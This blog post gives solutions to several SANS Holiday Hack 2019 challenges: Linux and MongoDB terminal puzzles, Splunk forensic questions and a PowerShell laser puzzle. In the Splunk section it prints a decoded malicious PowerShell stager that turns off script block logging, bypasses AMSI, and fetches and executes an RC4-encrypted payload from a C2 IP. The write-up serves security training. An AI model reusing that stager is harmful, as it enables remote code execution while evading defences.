Some SANS Holiday Hack 2019 Solutions
2020-01-15 17:09:11 Author: parsiya.net(查看原文) 阅读量:164 收藏

I did some of the solutions for the SANS Holiday Hack Challenge of 2019. Last year I participated for the first time. You can find the solutions below:

Answer: q.

Answer: /bin/ls.

$ ls
This isn't the ls you're looking for
elf@772e4d3f58fc:~$ which ls
/usr/local/bin/ls
elf@772e4d3f58fc:~$ dir
Yes, you're very clever, but we REALLY want you to run ls!
elf@772e4d3f58fc:~$ /bin/ls
' '   rejected-elfu-logos.txt
Loading, please wait......
Hangup
elf@772e4d3f58fc:~$ 

Some funny stuff here:

elf@d1501a3e4ee2:~$ cat .elfscream.txt 
I'm trapped in an ASCII art factory - send help!

XXXXKKKKKKKKKKKKKKKKKKKKK00000000000000000000000000OOO
XXXKKKKKKKKKKKKKKKKKKK0000000000000000000000000000000O
XXKKKKKKKKKKKKKKKK00000000000000000OOOOOOOOOOOO0OOOOOO
XXKKKKKKKKKKKKK0000000OOOkkkkkkxxxxxxxxkkOOOOOOOOOOOOO
XKKKKKKKKKKK000OOkkxxxxxxxxxxkxddxxddddddodxkOOOOOOOOO
KKKKKKKKK00OkxxxxxxxxxxdxxxxddxxxdddxdddddddooxOOOOOOO
KKKKKKK0OkxxdxxkxxxxkxxxxxxdxxdddddxdddddooooooxOOOOOO
KKKKK0OkkkxxxxkkxxxxxxxxxddxxxxxxxxxddddddooooookOOOOO
NKK0OxxxxxxxxxxxxxxxxxxxxxxxxdxddddddddoooooooookOOOOO
NK0kxxxxkxxxxxxxxxxxxxxxxxxxddddddddoooooollooookOOOOO
KXOxdxxxxxdxxkxdoooollccccc::;:;;;,;,,,',,,,:llkkOOOOO
KKxddxxxddoccxdoloooodxxxxxxkxxxxxxxxkkxxxdoc,,okOOOOO
KKkddkxdxO:lkOOOOOOOOOOOOOOOkkkkxxdxxodoollll:'lkkOOOO
KKkxxxxk00d;;llllcllcc:::c:::;;;;;:::cccc:.  .;xkkOOOO
KKOkxkO000d,cododxddxxxkkkkOOOkkkkkkkkkxxo.   .:kkOOOO
KKkllok00x,,kOOOOOOdoodooxOOOOOOkxc:::ccdx;.  ..:kkOOO
KO;dOx:oOl,dOOO0Oklxc.oklxOOOOOklcd;.:xdcdd..   .okkOO
Kk;dkx:,xc,xOOO0Oxlddlc:dOOOOOOk:dxl:oo:cxx;.    ckkkO
KKk:;;:xOo,dOOO0OOkdooxOOOOOOOOkxc::::cdxxxl ..  'xkkO
KKKK00000k:;xOOOOOOOOOOOOOOk',okkkkkkkkkxxx:.....'xkkO
KKKKK0KK00d;:kOOOOOOOOOOOOk:  .;xkkkkkkkkxx..  .,xkkOO
KKKKK000000x::xOOOOOOOOOOOOdodxkkkkkkkkkkxx.  .'dkkOOO
KKKK00000000Od::okOOOOOOOkkxl,';cdkkkkkkxx: ..;xkkkOOO
KKKK000000000OOo,';xkOOkko'     .,dxxkkxxc...lkkkOOOOO
KKKK000000000OOOkl..dkkkx..  .   .lxxxxx;..'dkkkkOOOOO
KKK00000000000OOOOo.:kkkx.       .cxxxd'  ;xkkkkOOOOOO
KK0000000000000OOOk;'xkkk,       .cxxo...lkkkkkkOOOOOO
KK000000000000OOOOOk,okkko.      .odd'..dxkkkkkkkkkOOO
KK00000000000OOOOOOOo;xkkkc.     ;dd'..lxxkkkkkkkkkkkk
K00000000000OOOOOOOOkl:xkkko;'.,cdd'..:xxkkkkkkkkkkkkk
00000000000OOOOOOOOOOkc:xkkkxxxdoc.  .dxxkkkkkkkkkkkkk
0000000000OOOOOOOOOOOOko:oxxxdl'    .oxxkkkkkkkkkkkkkk
00000000OOOOOOOOOOOOOOkkxl;.     . .:xxkkkkkkkkkkkkkkk
00000OOOOOOOOOOOOOOOOOkkkkxo::'..':dxkkkkkkkkkkkkkkkkk
0000OOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
OOOOOOOOOOOOOOOOOOOOOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk

Other stuff here

elf@d1501a3e4ee2:~$ cat rejected-elfu-logos.txt 
        _        
       / \
       \_/
       / \
      /   \
     /    |
    /     |
   /       \
 _/_________|_
 (____________)

Get Elfed at ElfU!


  ()
  |\__/------\
  \__________/
  Walk a Mile in an elf's shoes
  Take a course at ElfU!


  ____\()/____
  |    ||    |
  |    ||    |
  |====||====|
  |    ||    |
  |    ||    |
  ------------
Be present in class
Fight, win, kick some grinch!

Answer db.loadServerScripts();displaySolution();.

Find the mongo DB location

elf@5503e3f7a93a:~$ ps auxww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
elf          1  0.1  0.0  18508  3556 pts/0    Ss   03:50   0:00 /bin/bash
mongo        9  3.9  0.1 1014596 59016 ?       Sl   03:50   0:01 /usr/bin/mongod
     --quiet --fork --port 12121 --bind_ip 127.0.0.1 --logpath=/tmp/mongo.log
elf         50  0.0  0.0  34400  2860 pts/0    R+   03:50   0:00 ps auxww

It's at 127.0.0.1:12121.

elf@5503e3f7a93a:~$ mongo
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
2019-12-12T03:52:39.277+0000 W NETWORK
[thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll),
reason: Connection refused

2019-12-12T03:52:39.277+0000 E QUERY
[thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:251:13
@(connect):1:6
exception: connect failed

Hmm... what if Mongo isn't running on the default port?

elf@5503e3f7a93a:~$ mongo --help

elf@5503e3f7a93a:~$ mongo --host 127.0.0.1 --port 12121
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
        http://docs.mongodb.org/
Questions? Try the support group
        http://groups.google.com/group/mongodb-user
Server has startup warnings: 
[removed]
> db
test
> use test
switched to db test
> show collections
redherring
> db.redherring.find()
{ "_id" : "This is not the database you're looking for." }
> db.getCollectionInfos()
[
        {
                "name" : "redherring",
                "type" : "collection",
                "options" : {

                },
                "info" : {
                        "readOnly" : false,
                        "uuid" : UUID("dc357003-7f55-4ac9-a81e-d0f3f5080af3")
                },
                "idIndex" : {
                        "v" : 2,
                        "key" : {
                                "_id" : 1
                        },
                        "name" : "_id_",
                        "ns" : "test.redherring"
                }
        }
]
> 

Seems like it's not there. Let's look at the log path then. Nothing there either.

The hint points to this page

  • https://docs.mongodb.com/manual/reference/command/listDatabases/#dbcmd.listDatabases

    > db.adminCommand( { listDatabases: 1 } )
    {
        "databases" : [
                {
                        "name" : "admin",
                        "sizeOnDisk" : 32768,
                        "empty" : false
                },
                {
                        "name" : "elfu",
                        "sizeOnDisk" : 262144,
                        "empty" : false
                },
                {
                        "name" : "local",
                        "sizeOnDisk" : 32768,
                        "empty" : false
                },
                {
                        "name" : "test",
                        "sizeOnDisk" : 32768,
                        "empty" : false
                }
        ],
        "totalSize" : 360448,
        "ok" : 1
    }

Now let's try other databases.

> use admin
switched to db admin
> show collections
system.version
> db.collections.find()
> db.system.version.find()
{ "_id" : "featureCompatibilityVersion", "version" : "3.6" }
> use elfu
switched to db elfu
> show collections
bait
chum
line
metadata
solution
system.js
tackle
tincan
> db.bait.find()
{ "_id" : "Gait" }
> db.chum.find()
{ "_id" : "Yum!" }
> db.line.find()
{ "_id" : "Tensile strength" }
> db.metadata.find()
//
{ "_id" : ObjectId("5df1bbd7a97cf5b6aeb0c46c"), "index" : 0,
"value" : "#####hhc:{\"resourceId\": \"1cc6a846-84ff-459c-8282-9e7f6cd72028\",
\"hash\": \"49747f757af4819dfca11d3886cf439936daeb74c17f24bf9f29978271ede3b6\"}#####" }

> db.solution.find()
{ "_id" : "You did good! Just run the command between the stars:
    ** db.loadServerScripts();displaySolution(); **" }

> db.system.js.find()
{ "_id" : "displaySolution", "value" : {
    "code" : "function () { db.metadata.find().sort( { index: 1 }).forEach(function(v)
    { print(\"\\n\".repeat(100)); print(v.value); print(\"\\n\\n  Congratulations!!\\n\\n\");
    sleep(800); })}" } }

> db.tackle.find()
{ "_id" : "Mackerel?" }
> db.tincan.find()
{ "_id" : "SARDINES" }

> db.solution.find()
{ "_id" : "You did good! Just run the command between the stars:
    ** db.loadServerScripts();displaySolution(); **" }

Answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

https://splunk.elfu.org/ with the username: elf / Password: elfsocks.

  • What was the message for Kent that the adversary embedded in this attack?
  1. What is the short host name of Professor Banas' computer?
    • sweetums
  2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)

    • C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt
    • Search for santa and see what files are accessed.

      Message=CommandInvocation(Get-ChildItem): "Get-ChildItem"
      ParameterBinding(Get-ChildItem): name="Recurse"; value="True"
      ParameterBinding(Get-ChildItem): name="Path"; value="C:\Users\cbanas"
      ParameterBinding(Get-ChildItem): name="File"; value="True"
      CommandInvocation(ForEach-Object): "ForEach-Object"
      ParameterBinding(ForEach-Object): name="Process"; value="Select-String -path $_ -pattern Santa"
      ParameterBinding(ForEach-Object): name="InputObject"; value="Microsoft Edge.lnk"
      ParameterBinding(ForEach-Object): name="InputObject"; value="Naughty_and_Nice_2019_draft.txt"
      ParameterBinding(ForEach-Object): name="InputObject"; value="19th Century Holiday Cheer Assignment.doc"
      ParameterBinding(ForEach-Object): name="InputObject"; value="assignment.zip"
      ParameterBinding(ForEach-Object): name="InputObject"; value="Bing.url"
      ParameterBinding(ForEach-Object): name="InputObject"; value="Desktop.lnk"
      ParameterBinding(ForEach-Object): name="InputObject"; value="Downloads.lnk"
      ParameterBinding(ForEach-Object): name="InputObject"; value="winrt--{S-1-5-21-1217370868-2414566453-2573080502-1004}-.searchconnector-ms"
  3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)

    • Searched for 144.202.46.214 (from the PowerShell thing) and found 144.202.46.214.vultr.com
  4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)

    • Search for sourcetype=WinEventLog EventCode=4688
    • Click on Creator_Process_Name in the left.
    • Click on Rare Values
    • See 14 values. We are looking for a document so we click on the winword.exe process and see its process ID.
    • Search for that process ID index=main sourcetype=WinEventLog EventCode=4688 0x187c
    • Find the event for the process that launched word and the command line has the document name. 19th Century Holiday Cheer Assignment.docm

      "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n
      "C:\Windows\Temp\Temp1_Buttercups_HOL404_assignment (002).zip\19th Century Holiday Cheer Assignment.docm" /o ""
  5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)

    • index=main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.from results{}.workers.smtp.subject results{}.workers.smtp.body | dedup results{}.workers.smtp.from
    • Returns 22, but one is the professor's email. So answer is 21.
  6. What was the password for the zip archive that contained the suspicious file?

    • We have seen it, add password to the search.
    • It's an email from bradly buttercups <[email protected]>

      Professor Banas, I have completed my assignment. Please open the attached
      zip file with password 123456789 and then open the word document to view it.
      You will have to click "Enable Editing" then "Enable Content" to see it.
      This was a fun assignment. I hope you like it!
          
      --Bradly Buttercups
    • 123456789

    • Seems like he cheated because the professors said

      Bradly, 
      
      I opened your assignment (which was not easy, by the way) and it seems you
      have not only not included an image per the instructions, but your
      assignment is identical to another student's assignment.  This means your
      grade will be 0/100.  
      
      -csb
  7. What email address did the suspicious file come from?

Actual message.

Query finds these two files

Buttercups_HOL404_assignment.zip
    /home/ubuntu/archive/9/b/b/3/d/9bb3d1b233ee039315fd36527e0b565e7d4b778f/Buttercups_HOL404_assignment.zip
19th Century Holiday Cheer Assignment.docm
    /home/ubuntu/archive/c/6/e/1/7/c6e175f5b8048c771b3a3fac5f3295d2032524af/19th Century Holiday Cheer Assignment.docm

The properties for the docm files is in core.xml but it's empty. Let's find the actual core.xml file from the list above.

core.xml    /home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4/core.xml

Inside that we have the thing.

Kent you are so unfair. And we were going to make you the king of the Winter Carnival.

The PowerShell base64 decoded

IF ($PSVerSioNTaBLe.PSVERsIOn.MAJor  - gE 3)  {
    $GPF = [Ref].ASsEMBly.GETTyPE('System.Management.Automation.Utils')."GEtFiE`Ld"('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
    IF ($GPF)  {
        $GPC = $GPF.GeTVAluE($nUlL);
        If ($GPC['ScriptB' + 'lockLogging'])  {
            $GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
            $GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
        }

        $val = [COLlEcTioNs.GEneRiC.DICTIoNAry[StrING, SySTEm.ObjecT]]::NeW();
        $vAl.AdD('EnableScriptB' + 'lockLogging', 0);
        $vaL.ADd('EnableScriptBlockInvocationLogging', 0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $VAl
    } ElSE {
        [SCrIPTBlOCK]."GEtFIe`lD"('signatures', 'N' + 'onPublic,Static').SETVALUe($NUll, (NEW - OBjEct CollEcTions.GEnerIC.HashSeT[sTrING]))
    }

    [REf].ASSEMBlY.GETTYPe('System.Management.Automation.AmsiUtils')|? {
        $_
    }

    |% {
        $_.GETFielD('amsiInitFailed', 'NonPublic,Static').SEtValUe($NUlL, $True)
    };
};
[SySteM.NeT.SERvicEPoInTMaNaGer]::EXPecT100CONtInUe = 0;
$wc = NEw-ObjECT SysTEM.NeT.WeBCLiENT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wC.HEADErS.ADd('User-Agent', $u);
$Wc.ProXy = [SySTeM.Net.WeBREQuEST]::DEFaULTWebProXy;
$WC.PRoXy.CREDenTIAls = [SySTEm.NET.CRedeNTiAlCAcHe]::DeFaulTNeTwORkCREDenTiALS;
$Script:Proxy = $wc.Proxy;
$K = [SySTEM.Text.EncOdING]::ASCII.GeTBYteS('zd!Pmw3J/qnuWoHX~=g.{>p,GE]:|#MR');
$R = {
    $D, $K = $ARGs;
    $S = 0..255;
    0..255|% {
        $J = ($J + $S[$_] + $K[$_%$K.COUnt])%256;
        $S[$_], $S[$J] = $S[$J], $S[$_]
    };
    $D|% {
        $I = ($I + 1)%256;
        $H = ($H + $S[$I])%256;
        $S[$I], $S[$H] = $S[$H], $S[$I];
        $_ -BXoR$S[($S[$I] + $S[$H])%256] # change it to -BXoR
    }

};
$ser = 'http://144.202.46.214:8080';
$t = '/admin/get.php';
$WC.HEADErs.Add("Cookie", "session=reT9XQAl0EMJnxukEZy/7MS70X4=");
$DATa = $WC.DownlOADDAtA($sEr + $T);
$Iv = $DatA[0..3];
$DatA = $dATa[4..$DatA.lENGtH];
 -JOIN[ChaR[]](& $R $DatA ($IV + $K))|IEX

What is at /home/callingcard.txt.?

PS /home/elf> gc ../callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la

What is at localhost:1225?

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 08:10:51 GMT                                                       
Content-Length: 860                                                                       

<html>
<body>
<pre>
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off

Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output

Change the lense refraction value (1.0 - 2.0):
GET http://localhost:1225/api/refraction?val=1.0

Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val=-10

Change the mirror angle value (0 - 359):
GET http://localhost:1225/api/angle?val=45.1

Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE (gas mixture percentages):
O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10
----------------------------------------------------
</pre>
</body>
</html>

We can turn it on:

PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 08:12:39 GMT                                                       
Content-Length: 32                                                                        

Christmas Cheer Laser Powered On

Then we can query the output. It seems like it's just random.

(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST
    -Body "O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10").RawContent

Could commands hold riddles in hist'ry?? See PowerShell history?

PS /home/elf> Get-History

  Id CommandLine
  -- -----------
   1 Get-Help -Name Get-Process 
   2 Get-Help -Name Get-* 
   3 Set-ExecutionPolicy Unrestricted 
   4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 
   5 Get-Service | Export-CSV c:\service.csv 
   6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
   8 Get-EventLog -Log "Application" 
   9 I have many name=value variables that I share to applications system wide. At a com…

But that does not show us everything, we are only looking for commands that do Invoke:

PS /home/elf> Get-History | Where-Object {$_.CommandLine -like "*Invoke*"} 

  Id CommandLine
  -- -----------
   7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
  11 (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent
  12 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
  13 (Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContent

http://127.0.0.1:1225/api/angle?val=65.5

Did not work, let's leave, return and get everything.

PS /home/elf> Get-History | Format-List -Property *

# removed

Id                 : 7
CommandLine        : (Invoke-WebRequest 
                     http://127.0.0.1:1225/api/angle?val=65.5).RawContent
ExecutionStatus    : Completed
StartExecutionTime : 11/29/19 4:56:44 PM
EndExecutionTime   : 11/29/19 4:56:44 PM
Duration           : 00:00:00.0310799

# removed

Id                 : 9
CommandLine        : I have many name=value variables that I share to applications 
                     system wide. At a command I will reveal my secrets once you Get my 
                     Child Items.
ExecutionStatus    : Completed
StartExecutionTime : 11/29/19 4:57:16 PM
EndExecutionTime   : 11/29/19 4:57:16 PM
Duration           : 00:00:00.6090308

Number 9 points to environmental variables.

PS /home/elf> gci env:* | sort-object name

Name                           Value
----                           -----
_                              /root/CheerLaserService
DOTNET_SYSTEM_GLOBALIZATION_I… false
HOME                           /home/elf
HOSTNAME                       b011d5af8027
LANG                           en_US.UTF-8
LC_ALL                         en_US.UTF-8
LOGNAME                        elf
MAIL                           /var/mail/elf
PATH                           /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bi…
PSModuleAnalysisCachePath      /var/cache/microsoft/powershell/PSModuleAnalysisCache/Mod…
PSModulePath                   /home/elf/.local/share/powershell/Modules:/root/.local/sh…
PWD                            /home/elf
RESOURCE_ID                    373f8b8e-9767-4f99-866c-6b7bbc879102
riddle                         Squeezed and compressed I am hidden away. Expand me from …
SHELL                          /home/elf/elf
SHLVL                          1
TERM                           xterm
USER                           elf
userdomain                     laserterminal
USERDOMAIN                     laserterminal
username                       elf
USERNAME                       elf

We need to expand the riddle variable:

PS /home/elf> gci env:riddle | Format-list

Name  : riddle
Value : Squeezed and compressed I am hidden away. Expand me from my prison and I will 
        show you the way. Recurse through all /etc and Sort on my LastWriteTime to 
        reveal im the newest of all.

Apparently it's archive:

PS /home/elf> gci -Path ../../etc/ -Recurse | sort LastWriteTime | select -last 1
gci : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ gci -Path ../../etc/ -Recurse | sort LastWriteTime | select -last 1 | ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

    Directory: /etc/apt

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          12/12/19  8:41 AM        5662902 archive

Let's see what kind of file it is. It looks too big to be a text file.

We can run Get-Content -TotalCount n on it to the get the first n lines. Seems like it's a zip file.

PS /etc/apt> Expand-Archive -LiteralPath ./archive -DestinationPath /home/elf/

Now we have a directory named refraction inside /home/elf.

PS /home/elf/refraction> dir
    Directory: /home/elf/refraction

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
------           11/7/19 11:57 AM            134 riddle
------           11/5/19  2:26 PM        5724384 runme.elf

PS /home/elf/refraction> gc ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by
    using my md5 identity:

25520151A320B5B0D21561F92C8F6224

Googling for the MD5 finds nothing, might be the key for something inside runme.elf?

PS /home/elf/refraction> chmod +x ./runme.elf
PS /home/elf/refraction> ./runme.elf
refraction?val=1.867

Another part of the answer: refraction?val=1.867

Now to get the next step

Get-ChildItem -recurse | Select-String -pattern "25520151A320B5B0D21561F92C8F6224"
    | group path | select name

Maybe we have to run Get-FileHash on the files inside depth (and not in subdirectories) and see which one has what we want. Did not work, it might be in one of the directories. Doing Select-String on the output did not work.

Get-FileHash returns an object and we can see its values.

PS /home/elf/depths> gci ./rujaagk0.txt | Get-FileHash -Algorithm MD5 | Get-Member

   TypeName: Microsoft.PowerShell.Commands.FileHashInfo
Name        MemberType Definition
----        ---------- ----------
Equals      Method     bool Equals(System.Object obj)
GetHashCode Method     int GetHashCode()
GetType     Method     type GetType()
ToString    Method     string ToString()
Algorithm   Property   string Algorithm {get;set;}
Hash        Property   string Hash {get;set;}
Path        Property   string Path {get;set;}

We can get specific fields with Select-Object Path,Hash.

PS /home/elf/depths> gci -Recurse *.txt | Get-FileHash -Algorithm MD5 |
    Select-Object Path,Hash | Select-String -Pattern "25520151A320B5B0D21561F92C8F6224"

@{Path=/home/elf/depths/produce/thhy5hll.txt; Hash=25520151A320B5B0D21561F92C8F6224}

PS /home/elf/depths> gc ./produce/thhy5hll.txt
temperature?val=-33.5

I am one of many thousand similar txt's contained within the deepest of
/home/elf/depths. Finding me will give you the most strength but doing so
will require Piping all the FullName's to Sort Length.

PS /home/elf/depths> dir *.txt -Recurse | Select-String -Pattern "temperature\?val"

produce/thhy5hll.txt:1:temperature?val=-33.5

Another part of the answer: temperature?val=-33.5.

Not so lucky with dir *.txt -Recurse | Select-String -Pattern "refraction\?val".

Does it mean we have get all file names, sort by length and see what happens? Yes.

gc (gci *.txt -Recurse | sort { $_.FullName.length } | Select-Object -Last 1)

Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:

bushy
alabaster
minty
holly

Do this for me and then you /shall/see .

It's the file below:

PS /home/elf/depths> gc
/home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown
/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever
/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful
/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to
/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
PS /home/elf> Get-Process -IncludeUserName

     WS(M)   CPU(s)      Id UserName                       ProcessName
     -----   ------      -- --------                       -----------
    108.68     2.27       7 root                           CheerLaserServi
    109.38     3.36      56 elf                            elf
      3.40     0.06       1 root                           init
      3.52     1.40       6 root                           Processes
     97.12     1.81      38 root                           pwsh
      0.74     0.00      10 alabaster                      sleep
      0.76     0.00      27 bushy                          sleep
      0.74     0.00      34 minty                          sleep
      0.82     0.00      37 holly                          sleep
      3.50     0.00      55 root                           su
      3.88     0.00       8 root                           sudo
      3.84     0.00      25 root                           sudo
      3.83     0.00      32 root                           sudo
      3.90     0.00      35 root                           sudo

PS /home/elf> Stop-Process -ID 30 -Force
PS /home/elf> Stop-Process -ID 10 -Force
PS /home/elf> Stop-Process -ID 53 -Force
PS /home/elf> Stop-Process -ID 72 -Force

/usr/bin/Processes: line 59:     8 Killed   /usr/bin/sudo -u alabaster /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59:    28 Killed   /usr/bin/sudo -u bushy /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59:    50 Killed   /usr/bin/sudo -u minty /bin/bash -c "/bin/sleep 999999"
/usr/bin/Processes: line 59:    69 Killed   /usr/bin/sudo -u holly /bin/bash -c "/bin/sleep 999999"
PS /home/elf> Get-Content /shall/see
Get the .xml children of /etc - an event log to be found. Group all .Id's and
the last thing will be in the Properties of the lonely unique event Id.
PS /etc> gci *.xml -Recurse
gci : Access to the path '/etc/ssl/private' is denied.
At line:1 char:1
+ gci *.xml -Recurse
+ ~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

    Directory: /etc/systemd/system/timers.target.wants

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
--r---          11/18/19  7:53 PM       10006962 EventLog.xml

Let's follow this:

  • https://isc.sans.edu/forums/diary/Parsing+Windows+Eventlogs+in+Powershell/15298/

    PS /> $mylog = Import-Clixml /etc/systemd/system/timers.target.wants/EventLog.xml
    PS /> $mylog | group Id                         
    
    Count Name      Group
    ----- ----      -----
    1 1         {System.Diagnostics.Eventing.Reader.EventLogRecord}
    39 2         {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst…
    179 3         {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst…
    2 4         {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst…
    905 5         {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst…
    98 6         {System.Diagnostics.Eventing.Reader.EventLogRecord, Syst…

ID 1 is the one we are looking for.

PS /> $mylog | ? { $_.Id -match '1' }  

Message              : Process Create:
                       RuleName: 
                       UtcTime: 2019-11-07 17:59:56.525
                       ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}
                       ProcessId: 3664
                       Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                       FileVersion: 10.0.14393.206 (rs1_release.160915-0644)
                       Description: Windows PowerShell
                       Product: Microsoft® Windows® Operating System
                       Company: Microsoft Corporation
                       OriginalFileName: PowerShell.EXE
                       CommandLine: 
                       C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
                       "`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    
                       N=4`n    Ne=22`n    Ar=11`n    Xe=10`n    F=20`n    Kr=8`n    
                       Rn=9`n}`n"
                       CurrentDirectory: C:\
                       User: ELFURESEARCH\allservices
                       LogonGuid: {BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}
                       LogonId: 0xA95CF5
                       TerminalSessionId: 0
                       IntegrityLevel: High
                       Hashes: MD5=097CE5761C89434367598B34FE32893B
                       ParentProcessGuid: {BA5C6BBB-4C79-5DC4-0000-001029350100}
                       ParentProcessId: 1008
                       ParentImage: C:\Windows\System32\svchost.exe
                       ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs
Id                   : 1
Version              : 5
Qualifiers           : 
Level                : 4
Task                 : 1
Opcode               : 0
Keywords             : -9223372036854775808
RecordId             : 2422
ProviderName         : Microsoft-Windows-Sysmon
ProviderId           : 5770385f-c22a-43e0-bf4c-06f5698ffbd9
LogName              : Microsoft-Windows-Sysmon/Operational
ProcessId            : 1960
ThreadId             : 6640
MachineName          : elfuresearch
UserId               : S-1-5-18
TimeCreated          : 11/7/19 5:59:56 PM
ActivityId           : 
RelatedActivityId    : 
ContainerLog         : microsoft-windows-sysmon/operational
MatchedQueryIds      : {}
Bookmark             : System.Diagnostics.Eventing.Reader.EventBookmark
LevelDisplayName     : Information
OpcodeDisplayName    : Info
TaskDisplayName      : Process Create (rule: ProcessCreate)
KeywordsDisplayNames : {}
Properties           : {System.Diagnostics.Eventing.Reader.EventProperty, 
                       System.Diagnostics.Eventing.Reader.EventProperty, 
                       System.Diagnostics.Eventing.Reader.EventProperty, 
                       ddasdSystem.Diagnostics.Eventing.Reader.EventProperty…
$mylog | ? { $_.Id -match '1' } | Format-List Properties | ForEach-Object {$_.ToString()}
Microsoft.PowerShell.Commands.Internal.Format.FormatStartData
Microsoft.PowerShell.Commands.Internal.Format.GroupStartData
Microsoft.PowerShell.Commands.Internal.Format.FormatEntryData
Microsoft.PowerShell.Commands.Internal.Format.GroupEndData
Microsoft.PowerShell.Commands.Internal.Format.FormatEndData

This doesn't work

PS /home/elf> $myevent = $mylog | ? { $_.Id -match '1' }
PS /home/elf> $myevent.Properties | Format-List

Value : 

Value : 2019-11-07 17:59:56.525
Value : ba5c6bbb-5b9c-5dc4-0000-00107660a900
Value : 3664
Value : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Value : 10.0.14393.206 (rs1_release.160915-0644)
Value : Windows PowerShell
Value : Microsoft® Windows® Operating System
Value : Microsoft Corporation
Value : PowerShell.EXE
Value : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c 
        "`$correct_gases_postbody = @{`n    O=6`n    H=7`n    He=3`n    N=4`n    Ne=22`n 
           Ar=11`n    Xe=10`n    F=20`n    Kr=8`n    Rn=9`n}`n"

Value : C:\
Value : ELFURESEARCH\allservices
